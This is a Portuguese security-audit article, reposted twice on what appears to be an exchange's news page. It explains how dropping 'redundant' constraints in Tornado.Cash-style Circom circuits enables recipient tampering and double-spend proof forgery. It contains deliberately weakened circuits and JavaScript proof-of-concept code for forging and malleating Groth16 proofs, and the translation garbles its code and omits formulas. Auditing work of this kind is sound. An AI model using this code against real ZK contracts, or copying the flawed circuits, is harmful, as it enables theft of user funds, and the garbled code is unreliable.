Autor deste artigo: Saya & Bryce, especialistas em pesquisa de segurança da Beosin
1. Introdução
O projeto ZKP (Zero-Knowledge Proof) consiste principalmente em duas partes: circuitos fora da cadeia e contratos on-chain. A parte do circuito envolve abstração de restrições da lógica de negócios e conhecimento básico complexo de criptografia, portanto, esta parte é difícil para o lado do projeto. implementar, e também é Dificuldades na auditoria do pessoal de segurança. **A seguir está um caso de segurança que é facilmente ignorado pelas partes do projeto - "restrições redundantes". O objetivo é lembrar as partes do projeto e os usuários de prestarem atenção aos riscos de segurança relacionados. **
2. As restrições redundantes podem ser excluídas
Ao auditar projetos ZKP, você geralmente verá as seguintes restrições estranhas, mas muitas partes do projeto não entendem realmente o significado específico.A fim de reduzir a dificuldade de reutilização do circuito e economizar o consumo de computação fora da cadeia, algumas restrições podem ser excluídas, portanto causando problemas de segurança:
Comparamos o número de restrições geradas antes e depois da exclusão do código acima e descobrimos que a presença ou ausência das restrições acima em um projeto real tem pouco impacto no número total de restrições do projeto, porque elas são facilmente ignoradas pelo lado do projeto otimização automática.
O objetivo real do circuito acima é apenas anexar um dado à prova. Tomando Tornado.Cash como exemplo, os dados adicionais incluem: endereço do receptor, endereço do retransmissor, taxa de manuseio, etc., porque esses sinais não afetam o cálculo real do circuito subsequente., portanto, pode causar confusão entre algumas outras partes do projeto, removendo-as do circuito, resultando no roubo de transações de alguns usuários.
A seguir, tomaremos o projeto de transação privada simples Tornado.Cash como exemplo para introduzir esse ataque. Este artigo exclui os sinais relevantes e as restrições de informações adicionais no circuito e é o seguinte:
inclua "../../../../node_modules/circomlib/circuits/bitify.circom"; include "../../../../node_modules/circomlib/circuits/pedersen.circom";include "merkleTree.circom";template CommitmentHasher() { anulador de entrada de sinal; segredo de entrada de sinal; compromisso de saída de sinal; // saída de sinal nullifierHash; compromisso do componenteHasher = Pedersen(496); // componente nullifierHasher = Pedersen(248); componente nullifierBits = Num2Bits(248); componente secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== segredo; for (i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; compromissoHasher.in [i] <== nullifierBits.out [i] ; compromissoHasher.in[i + 248] <== secretBits.out [i] ; } compromisso <== compromissoHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// Verifica se o compromisso que corresponde a determinado segredo e anulador está incluído na árvore merkle de depositstemplate Withdraw(levels) { signal input root; // entrada de sinal nullifierHash; compromisso de saída de sinal; // receptor de entrada de sinal; // não participa de nenhum cálculo // relé de entrada de sinal; // não participa de nenhum cálculo // taxa de entrada de sinal; // não participa de nenhum cálculo // sinaliza reembolso de entrada; // não participa de nenhum cálculo nullifier de entrada de sinal; segredo de entrada de sinal; // entrada de sinal pathElements [levels] ; // sinal de entrada pathIndices [levels] ; componente hasher = CommitmentHasher(); hasher.nullifier <== anulador; hasher.secret <== segredo; compromisso <== hasher.commitment; // hasher.nullifierHash === nullifierHash; // árvore de componentes = MerkleTreeChecker(levels); //tree.leaf <== hasher.commitment; //árvore.root <== raiz; // for (i = 0; i < níveis; i++) { // tree.pathElements [i] <== pathElements [i] ; //árvore.pathIndices [i] <== índices de caminho [i] ; // } // Adicione sinais ocultos para garantir que a adulteração do destinatário ou da taxa invalidará a prova de snark // Provavelmente não é obrigatório, mas é melhor ficar do lado seguro e são necessárias apenas 2 restrições // Os quadrados são usado para evitar que o otimizador remova essas restrições // sinal destinatárioSquare; //sinal feeSquare; //retransmissor de sinalSquare; // sinaliza reembolsoSquare; // destinatárioSquare <== destinatário * destinatário; //feSquare <== taxa * taxa; //retransmissorSquare <== retransmissor * retransmissor; //refundSquare <== reembolso * reembolso;}component main = Withdraw(20);
Para facilitar o entendimento, este artigo exclui as partes relacionadas à verificação de Merkle Tree e nullifierHash no circuito, e também anota o endereço do beneficiário e outras informações. No contrato on-chain gerado por este circuito, este artigo usa dois endereços diferentes para verificação ao mesmo tempo.Pode-se descobrir que ambos os endereços diferentes podem passar na verificação:
Mas quando o seguinte código é adicionado às restrições do circuito, verifica-se que apenas o endereço do destinatário definido no circuito pode passar na verificação:
receptor de entrada de sinal; // não participa de nenhum cálculo do relé de entrada de sinal; // não participar de nenhum cálculo de taxa de entrada de sinal; // não participa de nenhum cálculo de reembolso de entrada de sinal; // não participa de nenhum cálculosignal receiverSquare;signal feeSquare;signal relayerSquare;signal refundSquare;recipientSquare <== destinatário * destinatário;recipientSquare <== destinatário * destinatário;feeSquare <== taxa * taxa;relayerSquare <== retransmissor * retransmissor ;refundSquare <== reembolso * reembolso;
Portanto, quando a prova não está vinculada ao destinatário, verifica-se que o endereço do destinatário pode ser alterado à vontade e a prova zk pode ser verificada.Então, quando o usuário quiser sacar dinheiro do pool do projeto, ele poderá ser roubado por MEV. A seguir está um exemplo de ataque frontal de MEV em um DApp de negociação de privacidade:
3. Maneira errada de escrever restrições redundantes
Além disso, existem dois erros comuns de escrita no circuito, que podem levar a ataques de gasto duplo mais sérios: um é que o sinal de entrada está definido no circuito, mas o sinal não está restrito, e o outro é que um das múltiplas restrições no sinal é Existe uma dependência linear entre elas. A figura abaixo mostra os processos de cálculo comuns de Prova e Verificação do algoritmo Groth16:
Após o Verificador receber a prova π[A, B, C], ele calcula a seguinte equação de verificação. Se for estabelecida, a verificação passa, caso contrário, a verificação falha:
3.1 Signal não participa de restrições
Se um determinado sinal público Zi não tiver nenhuma restrição no circuito, então para sua restrição j, o valor da seguinte fórmula é sempre 0 (onde rj é o valor de desafio aleatório que o Verificador precisa que o Provador calcule):
Ao mesmo tempo, isso significa que para Zi, qualquer x tem a seguinte fórmula:
Portanto, a seguinte expressão na equação de verificação tem para o sinal x:
Como a equação de verificação é a seguinte:
Pode-se descobrir que não importa o valor que Zi assuma, o resultado deste cálculo é sempre 0.
Este artigo modifica o circuito Tornado.Cash da seguinte maneira. Você pode ver que o circuito tem 1 destinatário de sinal de entrada público e 3 sinais privados raiz, anulador e secreto. O destinatário não tem nenhuma restrição no circuito:
template Withdraw(níveis) { raiz de entrada de sinal; compromisso de saída de sinal; receptor de entrada de sinal; // não participa de nenhum cálculo nullifier de entrada de sinal; segredo de entrada de sinal; componente hasher = CommitmentHasher(); hasher.nullifier <== anulador; hasher.secret <== segredo; compromisso <== hasher.commitment;}componente principal {público [recipient] }= Retirar(20);
Este artigo será testado na versão mais recente da biblioteca snarkjs 0.7.0, e seu código de restrição implícito será excluído para demonstrar o efeito do ataque de gasto duplo quando não houver sinal de restrição no circuito. O código exp principal é o seguinte:
Você pode ver que ambas as provas geradas passaram na verificação:
3.2 Restrições de dependência linear
template Withdraw(níveis) { raiz de entrada de sinal; // entrada de sinal nullifierHash; compromisso de saída de sinal; receptor de entrada de sinal; // não participa de nenhum cálculo do relé de entrada de sinal; // não participar de nenhum cálculo de taxa de entrada de sinal; // não participa de nenhum cálculo // sinaliza reembolso de entrada; // não participa de nenhum cálculo nullifier de entrada de sinal; segredo de entrada de sinal; // entrada de sinal pathElements [levels] ; // sinal de entrada pathIndices [levels] ; componente hasher = CommitmentHasher(); hasher.nullifier <== anulador; hasher.secret <== segredo; compromisso <== hasher.commitment; entrada de sinal Quadrada; // destinatárioSquare <== destinatário * destinatário; //feSquare <== taxa * taxa; //retransmissorSquare <== retransmissor * retransmissor; //reembolsoQuadrado <== reembolso * reembolso; 35 * Square === (2destinatário + 2retransmissor + taxa + 2) * (retransmissor + 4);}component main {público [destinatário,Quadrado]}= Retirar(20);
O circuito acima pode levar a um ataque de gasto duplo. O código específico do núcleo exp é o seguinte:
Depois de modificar parte do código da biblioteca, testamos no snarkjs versão 0.7.0. Os resultados mostraram que ambas as seguintes provas falsas poderiam passar na verificação:
publicsingnal1 + prova1
publicsingnal2 + prova2
4 correções
Código da biblioteca 4.1 zk
Atualmente, algumas bibliotecas zk populares, como a biblioteca snarkjs, adicionarão implicitamente algumas restrições ao circuito, como a restrição mais simples:
A fórmula acima é matematicamente sempre verdadeira, portanto, não importa qual seja o valor real do sinal e atenda a quaisquer restrições, ele pode ser adicionado implícita e uniformemente ao circuito pelo código da biblioteca durante a configuração. Além disso, as restrições quadradas na primeira seção são usado no circuito.É uma abordagem mais segura. Por exemplo, snarkjs adiciona implicitamente as seguintes restrições ao gerar zkey durante a configuração:
Circuito 4.2
Quando a parte do projeto projeta o circuito, uma vez que a biblioteca zk de terceiros usada pode não adicionar restrições adicionais durante a configuração ou compilação,** recomendamos que a parte do projeto tente garantir a integridade das restrições no nível do projeto do circuito e controle estritamente as restrições no circuito. Todos os sinais são legalmente restringidos para garantir a segurança, como a restrição quadrada mostrada anteriormente. **
Ver original
Esta página pode conter conteúdo de terceiros, que é fornecido apenas para fins informativos (não para representações/garantias) e não deve ser considerada como um endosso de suas opiniões pela Gate nem como aconselhamento financeiro ou profissional. Consulte a Isenção de responsabilidade para obter detalhes.
Uma leitura obrigatória para as partes do projeto ZKP: Auditoria de Circuito – As restrições redundantes são realmente redundantes?
Autor deste artigo: Saya & Bryce, especialistas em pesquisa de segurança da Beosin
1. Introdução
O projeto ZKP (Zero-Knowledge Proof) consiste principalmente em duas partes: circuitos fora da cadeia e contratos on-chain. A parte do circuito envolve abstração de restrições da lógica de negócios e conhecimento básico complexo de criptografia, portanto, esta parte é difícil para o lado do projeto. implementar, e também é Dificuldades na auditoria do pessoal de segurança. **A seguir está um caso de segurança que é facilmente ignorado pelas partes do projeto - "restrições redundantes". O objetivo é lembrar as partes do projeto e os usuários de prestarem atenção aos riscos de segurança relacionados. **
2. As restrições redundantes podem ser excluídas
Ao auditar projetos ZKP, você geralmente verá as seguintes restrições estranhas, mas muitas partes do projeto não entendem realmente o significado específico.A fim de reduzir a dificuldade de reutilização do circuito e economizar o consumo de computação fora da cadeia, algumas restrições podem ser excluídas, portanto causando problemas de segurança:
Comparamos o número de restrições geradas antes e depois da exclusão do código acima e descobrimos que a presença ou ausência das restrições acima em um projeto real tem pouco impacto no número total de restrições do projeto, porque elas são facilmente ignoradas pelo lado do projeto otimização automática.
O objetivo real do circuito acima é apenas anexar um dado à prova. Tomando Tornado.Cash como exemplo, os dados adicionais incluem: endereço do receptor, endereço do retransmissor, taxa de manuseio, etc., porque esses sinais não afetam o cálculo real do circuito subsequente., portanto, pode causar confusão entre algumas outras partes do projeto, removendo-as do circuito, resultando no roubo de transações de alguns usuários.
A seguir, tomaremos o projeto de transação privada simples Tornado.Cash como exemplo para introduzir esse ataque. Este artigo exclui os sinais relevantes e as restrições de informações adicionais no circuito e é o seguinte:
inclua "../../../../node_modules/circomlib/circuits/bitify.circom"; include "../../../../node_modules/circomlib/circuits/pedersen.circom";include "merkleTree.circom";template CommitmentHasher() { anulador de entrada de sinal; segredo de entrada de sinal; compromisso de saída de sinal; // saída de sinal nullifierHash; compromisso do componenteHasher = Pedersen(496); // componente nullifierHasher = Pedersen(248); componente nullifierBits = Num2Bits(248); componente secretBits = Num2Bits(248); nullifierBits.in <== nullifier; secretBits.in <== segredo; for (i = 0; i < 248; i++) { // nullifierHasher.in [i] <== nullifierBits.out [i] ; compromissoHasher.in [i] <== nullifierBits.out [i] ; compromissoHasher.in[i + 248] <== secretBits.out [i] ; } compromisso <== compromissoHasher.out [0] ; // nullifierHash <== nullifierHasher.out [0] ;}// Verifica se o compromisso que corresponde a determinado segredo e anulador está incluído na árvore merkle de depositstemplate Withdraw(levels) { signal input root; // entrada de sinal nullifierHash; compromisso de saída de sinal; // receptor de entrada de sinal; // não participa de nenhum cálculo // relé de entrada de sinal; // não participa de nenhum cálculo // taxa de entrada de sinal; // não participa de nenhum cálculo // sinaliza reembolso de entrada; // não participa de nenhum cálculo nullifier de entrada de sinal; segredo de entrada de sinal; // entrada de sinal pathElements [levels] ; // sinal de entrada pathIndices [levels] ; componente hasher = CommitmentHasher(); hasher.nullifier <== anulador; hasher.secret <== segredo; compromisso <== hasher.commitment; // hasher.nullifierHash === nullifierHash; // árvore de componentes = MerkleTreeChecker(levels); //tree.leaf <== hasher.commitment; //árvore.root <== raiz; // for (i = 0; i < níveis; i++) { // tree.pathElements [i] <== pathElements [i] ; //árvore.pathIndices [i] <== índices de caminho [i] ; // } // Adicione sinais ocultos para garantir que a adulteração do destinatário ou da taxa invalidará a prova de snark // Provavelmente não é obrigatório, mas é melhor ficar do lado seguro e são necessárias apenas 2 restrições // Os quadrados são usado para evitar que o otimizador remova essas restrições // sinal destinatárioSquare; //sinal feeSquare; //retransmissor de sinalSquare; // sinaliza reembolsoSquare; // destinatárioSquare <== destinatário * destinatário; //feSquare <== taxa * taxa; //retransmissorSquare <== retransmissor * retransmissor; //refundSquare <== reembolso * reembolso;}component main = Withdraw(20);
Para facilitar o entendimento, este artigo exclui as partes relacionadas à verificação de Merkle Tree e nullifierHash no circuito, e também anota o endereço do beneficiário e outras informações. No contrato on-chain gerado por este circuito, este artigo usa dois endereços diferentes para verificação ao mesmo tempo.Pode-se descobrir que ambos os endereços diferentes podem passar na verificação:
Mas quando o seguinte código é adicionado às restrições do circuito, verifica-se que apenas o endereço do destinatário definido no circuito pode passar na verificação:
receptor de entrada de sinal; // não participa de nenhum cálculo do relé de entrada de sinal; // não participar de nenhum cálculo de taxa de entrada de sinal; // não participa de nenhum cálculo de reembolso de entrada de sinal; // não participa de nenhum cálculosignal receiverSquare;signal feeSquare;signal relayerSquare;signal refundSquare;recipientSquare <== destinatário * destinatário;recipientSquare <== destinatário * destinatário;feeSquare <== taxa * taxa;relayerSquare <== retransmissor * retransmissor ;refundSquare <== reembolso * reembolso;
Portanto, quando a prova não está vinculada ao destinatário, verifica-se que o endereço do destinatário pode ser alterado à vontade e a prova zk pode ser verificada.Então, quando o usuário quiser sacar dinheiro do pool do projeto, ele poderá ser roubado por MEV. A seguir está um exemplo de ataque frontal de MEV em um DApp de negociação de privacidade:
3. Maneira errada de escrever restrições redundantes
Além disso, existem dois erros comuns de escrita no circuito, que podem levar a ataques de gasto duplo mais sérios: um é que o sinal de entrada está definido no circuito, mas o sinal não está restrito, e o outro é que um das múltiplas restrições no sinal é Existe uma dependência linear entre elas. A figura abaixo mostra os processos de cálculo comuns de Prova e Verificação do algoritmo Groth16:
Provador gera prova Prova π = ( [A] 1, [C] 1, [B] 2):
Após o Verificador receber a prova π[A, B, C], ele calcula a seguinte equação de verificação. Se for estabelecida, a verificação passa, caso contrário, a verificação falha:
3.1 Signal não participa de restrições
Se um determinado sinal público Zi não tiver nenhuma restrição no circuito, então para sua restrição j, o valor da seguinte fórmula é sempre 0 (onde rj é o valor de desafio aleatório que o Verificador precisa que o Provador calcule):
Ao mesmo tempo, isso significa que para Zi, qualquer x tem a seguinte fórmula:
Portanto, a seguinte expressão na equação de verificação tem para o sinal x:
Como a equação de verificação é a seguinte:
Pode-se descobrir que não importa o valor que Zi assuma, o resultado deste cálculo é sempre 0.
Este artigo modifica o circuito Tornado.Cash da seguinte maneira. Você pode ver que o circuito tem 1 destinatário de sinal de entrada público e 3 sinais privados raiz, anulador e secreto. O destinatário não tem nenhuma restrição no circuito:
template Withdraw(níveis) { raiz de entrada de sinal; compromisso de saída de sinal; receptor de entrada de sinal; // não participa de nenhum cálculo nullifier de entrada de sinal; segredo de entrada de sinal; componente hasher = CommitmentHasher(); hasher.nullifier <== anulador; hasher.secret <== segredo; compromisso <== hasher.commitment;}componente principal {público [recipient] }= Retirar(20);
Este artigo será testado na versão mais recente da biblioteca snarkjs 0.7.0, e seu código de restrição implícito será excluído para demonstrar o efeito do ataque de gasto duplo quando não houver sinal de restrição no circuito. O código exp principal é o seguinte:
função assíncrona groth16_exp() { let inputA = "7"; deixe entradaB = "11"; deixe entradaC = "9"; deixe inputD = "0x8db97C7cEcE249c2b98bDC0226Cc4C2A57BF52FC"; aguardar newZKey (retirar2.r1cs, poderesOfTau28_hez_final_14.ptau, retirar2_0000.zkey,) aguardar beacon (retirar2_0000.zkey, retirar2_final.zkey, "Final Beacon", "0102030405060708090a0b0c0d0e0f1011121314151 61718191a1b1c1d1e1f", 10, ) const verifyKey = aguardar exportVerificationKey(withdraw2_final.zkey) fs .writeFileSync(withdraw2_verification_key.json, JSON.stringify(verificationKey), "utf-8") deixe {prova, publicSignals } = aguardar groth16FullProve({ root: inputA, nullifier: inputB, secret: inputC, destinatário: inputD }, "withdraw2 .wasm", "retirar2_final.zkey"); console.log("publicSignals", publicSignals) fs.writeFileSync(public1.json, JSON.stringify(publicSignals), "utf-8") fs.writeFileSync(proof.json, JSON.stringify(prova), "utf-8 ") verificar(publicSignals, prova); sinais públicos [1] = "4" console.log("publicSignals", publicSignals) fs.writeFileSync(public2.json, JSON.stringify(publicSignals), "utf-8") verify(publicSignals, prova);}
Você pode ver que ambas as provas geradas passaram na verificação:
3.2 Restrições de dependência linear
template Withdraw(níveis) { raiz de entrada de sinal; // entrada de sinal nullifierHash; compromisso de saída de sinal; receptor de entrada de sinal; // não participa de nenhum cálculo do relé de entrada de sinal; // não participar de nenhum cálculo de taxa de entrada de sinal; // não participa de nenhum cálculo // sinaliza reembolso de entrada; // não participa de nenhum cálculo nullifier de entrada de sinal; segredo de entrada de sinal; // entrada de sinal pathElements [levels] ; // sinal de entrada pathIndices [levels] ; componente hasher = CommitmentHasher(); hasher.nullifier <== anulador; hasher.secret <== segredo; compromisso <== hasher.commitment; entrada de sinal Quadrada; // destinatárioSquare <== destinatário * destinatário; //feSquare <== taxa * taxa; //retransmissorSquare <== retransmissor * retransmissor; //reembolsoQuadrado <== reembolso * reembolso; 35 * Square === (2destinatário + 2retransmissor + taxa + 2) * (retransmissor + 4);}component main {público [destinatário,Quadrado]}= Retirar(20);
O circuito acima pode levar a um ataque de gasto duplo. O código específico do núcleo exp é o seguinte:
const buildMalleabeC = async (orignal_proof_c, publicinput_index, original_pub_input, new_public_input, l) => { const c = unstringifyBigInts (orignal_proof_c) const { fd: fdZKey, seções: seçõesZKey } = aguardar readBinFile ("tornadocash_final.zkey", "zkey", 2 , 1 << 25, 1 << 23) const buffBasesC = aguardar readSection(fdZKey, seçõesZKey, 8) fdZKey.close() const curve = aguardar buildBn128(); const Fr = curva.Fr; const G1 = curva.G1; const new_pi = novo Uint8Array(Fr.n8); Scalar.toRprLE(new_pi, 0, new_public_input, Fr.n8); const match_pub = new Uint8Array(Fr.n8); Scalar.toRprLE(matching_pub, 0, original_pub_input, Fr.n8); const sGIn = curve.G1.F.n8 * 2 const match_base = buffBasesC.slice(publicinput_index * sGIn, publicinput_index * sGIn + sGIn) const linear_factor = Fr.e(l.toString(10)) const delta_lf = Fr.mul( fator_linear, Fr.sub(matching_pub, new_pi)); const p = aguarda curva.G1.timesScalar(matching_base, delta_lf); const affine_c = G1.fromObject(c); const maleável_c = G1.toAffine(G1.add(affine_c, p)) return stringifyBigInts(G1.toObject(malleable_c))}
Depois de modificar parte do código da biblioteca, testamos no snarkjs versão 0.7.0. Os resultados mostraram que ambas as seguintes provas falsas poderiam passar na verificação:
4 correções
Código da biblioteca 4.1 zk
Atualmente, algumas bibliotecas zk populares, como a biblioteca snarkjs, adicionarão implicitamente algumas restrições ao circuito, como a restrição mais simples:
A fórmula acima é matematicamente sempre verdadeira, portanto, não importa qual seja o valor real do sinal e atenda a quaisquer restrições, ele pode ser adicionado implícita e uniformemente ao circuito pelo código da biblioteca durante a configuração. Além disso, as restrições quadradas na primeira seção são usado no circuito.É uma abordagem mais segura. Por exemplo, snarkjs adiciona implicitamente as seguintes restrições ao gerar zkey durante a configuração:
Circuito 4.2
Quando a parte do projeto projeta o circuito, uma vez que a biblioteca zk de terceiros usada pode não adicionar restrições adicionais durante a configuração ou compilação,** recomendamos que a parte do projeto tente garantir a integridade das restrições no nível do projeto do circuito e controle estritamente as restrições no circuito. Todos os sinais são legalmente restringidos para garantir a segurança, como a restrição quadrada mostrada anteriormente. **